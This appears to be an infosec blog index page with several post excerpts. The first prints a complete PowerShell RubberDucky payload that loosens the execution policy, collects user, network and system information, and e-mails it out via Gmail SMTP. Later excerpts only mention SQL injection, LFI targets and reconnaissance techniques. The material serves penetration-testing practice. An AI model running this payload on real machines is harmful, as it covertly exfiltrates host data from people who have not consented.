Infosec

On a recent engagement I supported the lead by developing a PowerShell payload for a RubberDucky. The gist is that it will run a handful of standard Windows commands and then e-mail the results to a specified address. It proved to be very helpful and I’ve included it below with comments: # Set execution policy to allow unrestricted script scope Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false #Create results file in current user's temp directory $results = $env:temp + '\results.txt' #Run whoami $who = 'whoami.exe' $rwho = & $who #Run ipconfig /all $ipc = 'ipconfig.exe' $ipcs = '/all' $ripc = & $ipc $ipcs #Run systeminfo $sysi = 'systeminfo.exe' $rsysi = & $sysi #Wait for systeminfo to finish Start-Sleep -s 5 #Write results $output = $rwho + $ripc + $rsysi | Out-File $results #Send results to e-mail address $hostname = $env:computername $SMTPServer = 'smtp.gmail.com' $SMTPInfo = New-Object Net.Mail.SmtpClient($SMTPServer, 587) $SMTPInfo.EnableSsl = $true $SMTPInfo.Credentials = New-Object System.Net.NetworkCredentials('<yourusername>', '<yourpassword>') $ResultMail = New-Object System.Net.Mail.MailMessage $ResultMail.From = '<fromaddress>' $ResultMail.To.Add('<destinationmail>') $ResultMail.Subject = "Mail Subject" $ResultMail.Body = "Mail Body" $ResultMail.Attachments.Add($results) $SMTPInfo.Send($ResultMail) #Optional pop-up confirmation box #Note: This WILL raise user suspicion $wshell = New-Object -ComObject Wscript.Shell $wshell.Popup("Operation Complete.", 0, "OK", 0x1) Merry Christmas and Happy Holidays! ...

Inspired by Jack Daniel’s “Shoulders of InfoSec Project”, this post will be focused on the people and technologies behind one of the most prevalent attacks on web sites: SQL injection. According to OWASP, injection is the number one attack vector for web applications. Injection attacks can target many different contexts in a web application: HTML, PHP, ASP, Javascript, SQL, etc. Any context in which an interpreter parses input to execute instructions is potentially vulnerable to an injection attack. There are several - many, rather - excellent tutorials on Injection attacks available on the web. Here’s a brief selection of SQL injection attacks for reference: ...

Unfortunately, I didn’t arrive at the ballroom early enough to get seats, or even standing room, to see this talk in-person: Ed Skoudis: How To Give The Best Pen Test Of Your Life If you’re a Pen Tester, this talk is a must-see. Once you’ve finished that talk, check out John Strand’s excellent follow-up talk! After competing for Friday night, most of Saturday, and Sunday morning, I emerged as the 30th position (solo) out of the 120 teams competing in the CTF. Not bad, but I want to do better! ...

A mini-list reference for interesting LFI targets

NBNS still works!

Learn how to create a metasploit module

Introductory methods for DNS reconnaissance.

Notes from BSides DC 2013

Techniques for performing subdomain enumeration information gathering.

Customize your working environment to your liking